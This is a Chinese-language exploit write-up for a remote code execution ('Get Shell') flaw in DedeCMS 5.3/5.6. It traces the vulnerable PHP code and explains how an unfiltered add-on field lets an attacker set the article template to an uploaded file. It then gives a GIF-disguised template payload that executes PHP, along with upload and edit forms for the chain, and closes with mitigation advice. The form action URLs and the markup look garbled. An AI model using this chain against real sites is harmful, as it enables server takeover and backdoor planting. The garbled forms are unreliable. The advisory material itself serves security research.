DEDECMS 5.6最新Get Shell漏洞 DEDECMS 5.3/5.6

DEDECMS 5.6最新Get Shell漏洞
    影响版本:  DEDECMS 5.3/5.6
    漏洞描述:
    DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于 DedeCms核心,是目前国内应用最广泛的php类CMS系统。
    article_add.php
    复制代码
    代码如下:
    
    ........................
    else if($dopost=='save')
    {
    include(DEDEMEMBER.'/inc/archives_check.php');
    //分析处理附加表数据
    $inadd_f = $inadd_v = '';
    if(!emptyempty($dede_addonfields))
    {
    $addonfields = explode(';',$dede_addonfields);
    ............................................ //省略部份代码
    $inadd_f .= ','.$vs[0];
    $inadd_v .= " ,'".${$vs[0]}."' ";
    }
    }
    }
    ..........................................
    $addtable = trim($cInfos['addtable']);
    if(emptyempty($addtable))
    {
    ......................................
    }
    else
    {
    $inquery = "INSERT INTO `{$addtable}`(aid,typeid,userip,redirecturl,templet,body{$inadd_f}) Values('$arcID','$typeid','$userip','','','$body'{$inadd_v})";
    if(!$dsql->ExecuteNoneQuery($inquery))
    {
    ..........................................
    }
    }
    ..........................................
    $artUrl = MakeArt($arcID,true); //利用地方(arc.archives.functions.php有定义)
    function MakeArt($aid,$ismakesign=false)
    {
    global $cfg_makeindex,$cfg_basedir,$cfg_templets_dir,$cfg_df_style;
    include_once(DEDEINC.'/arc.archives.class.php');
    if($ismakesign)
    {
    $envs['makesign'] = 'yes';
    }
    $arc = new Archives($aid);
    $reurl = $arc->MakeHtml(); //arc.archives.class.php有定义
    ............................
    }
    arc.archives.class.php
    复制代码
    代码如下:
    
    class Archives
    {
    ................
    function __construct($aid)
    {
    ............
    if($this->ChannelUnit->ChannelInfos['addtable']!='')
    {
    $query = "SELECT * FROM `{$this->ChannelUnit->ChannelInfos['addtable']}` WHERE `aid` = '$aid'";
    $this->addTableRow = $this->dsql->GetOne($query);
    }
    ........................
    if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1)
    {
    if(is_array($this->addTableRow))
    {
    ...............................
    $this->Fields['templet'] = $this->addTableRow['templet'];//注意1
    ......................................
    }
    }
    .............................
    }
    function MakeHtml($isremote=0)
    {
    global $cfg_remote_site,$fileFirst;
    if($this->IsError)
    {
    return '';
    }
    $this->Fields["displaytype"] = "st";
    //预编译$th
    $this->LoadTemplet(); //触发1
    ......................................//省略部份代码
    $this->arseDMFields($i,1);
    $this->dtp->SaveTo($truefilename); //触发2
    ......................................
    }
    继续跟(触发1)$this->LoadTemplet(); //arc.archives.class.php有定义
    function LoadTemplet()
    {
    if($this->TempSource=='')
    {
    $tempfile = $this->GetTempletFile(); //注意2
    if(!file_exists($tempfile) || !is_file($tempfile))
    {
    echo "文档ID:{$this->Fields['id']} - {$this->TypeLink->TypeInfos['typename']} - {$this->Fields['title']}
    ";
    echo "模板文件不存在,无法解析文档!";
    exit();
    }
    $this->dtp->LoadTemplate($tempfile); //触发3
    $this->TempSource = $this->dtp->SourceString;
    }
    else
    {
    $this->dtp->LoadSource($this->TempSource);
    }
    }
    看注意2 的$this->GetTempletFile() //arc.archives.class.php有定义
    function GetTempletFile()
    {
    global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;
    $cid = $this->ChannelUnit->ChannelInfos['nid'];
    if(!emptyempty($this->Fields['templet'])) //注意3
    {
    $filetag = MfTemplet($this->Fields['templet']);
    if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag;
    }
    else
    {
    $filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
    }
    .......................................
    if($cid=='spec')
    {
    if( !emptyempty($this->Fields['templet']) )
    {
    $tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
    }
    else
    {
    $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
    }
    }
    ...........................................
    return $tmpfile;
    }
    注意3中的值来自注意1是通过查表得来的,控制了它就等于控制了任意模板,然后通过触发3来触发漏洞
    看下怎么控制注意1的值
    article_edit.php
    复制代码
    代码如下:
    
    ......................
    else if($dopost=='save')
    { ....................
    if(!emptyempty($dede_addonfields))
    {
    $addonfields = explode(';',$dede_addonfields);
    if(is_array($addonfields))
    {
    ........................
    ${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);
    $inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";
    }
    }
    ...................
    if($addtable!='')
    {
    $upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";
    if(!$dsql->ExecuteNoneQuery($upQuery))
    {..............
    }
    }
    ....................
    }
    $dede_addonfields没有过滤,我们可以构造$inadd_f为,templet='上传的模板图片地址',包含我们的图片后,再通过触发2来生成图片里的后门!
    本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! Gif89a{dede:field name='toby57' runphp='yes'}
    phpinfo(); {/dede:field}
    保存为1.gif
    复制代码
    代码如下:
    
    <form action="/uploads/202404/24/12014.gif" /></br>
    <input type="hidden" name="dopost" value="save" /> 6. <input name="title" type="hidden" value="1.jpg"
    class="intxt"/>
    <input name="addonfile" type="file"/> 8. <button type="submit" >更改</button>
    </form>
    构造如上表单,上传后图片保存为/uploads/userup/3/1.gif 发表文章,然后构造修改表单如下:
    复制代码
    代码如下:
    
    <form action="/uploads/202404/24/12017.gif">
    <input type="hidden" name="body" value="aaaa" /> 19. <button type="submit">提交</button>
    </form>
    安全建议:
    如果您使用了DedeCMS程序,因目前DedeCMS暂未发布补丁修复,请立即按如下流程处理:
    1.在dedecms的后台更新补丁,尽可能升级为最新版本。
    2.data、templets、uploads、install这几个目录用控制面板的“目录保护”功能 禁止执行权限 。
    3.如果只是使用文章系统并没有使用会员功能,则强推推荐:关闭会员功能、关闭新会员注册、直接删除member目录或改名。
    4.用dedecms后台的“系统”中的文件校验和病毒扫描功能 查杀病毒木马。
    5.检查有无/data/cache/t.php 、/data/cache/x.php和/plus/index.php 这些木马文件,有的话则应立即删除。
    6.用虚拟主机控制面板中的“查杀病毒 ”功能全面查杀一次。
    请及时关注dedecms的最新补丁,如果官方出新补丁,则应立即更新。
    厂商补丁EDECMS------------目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://www.dedecms.com/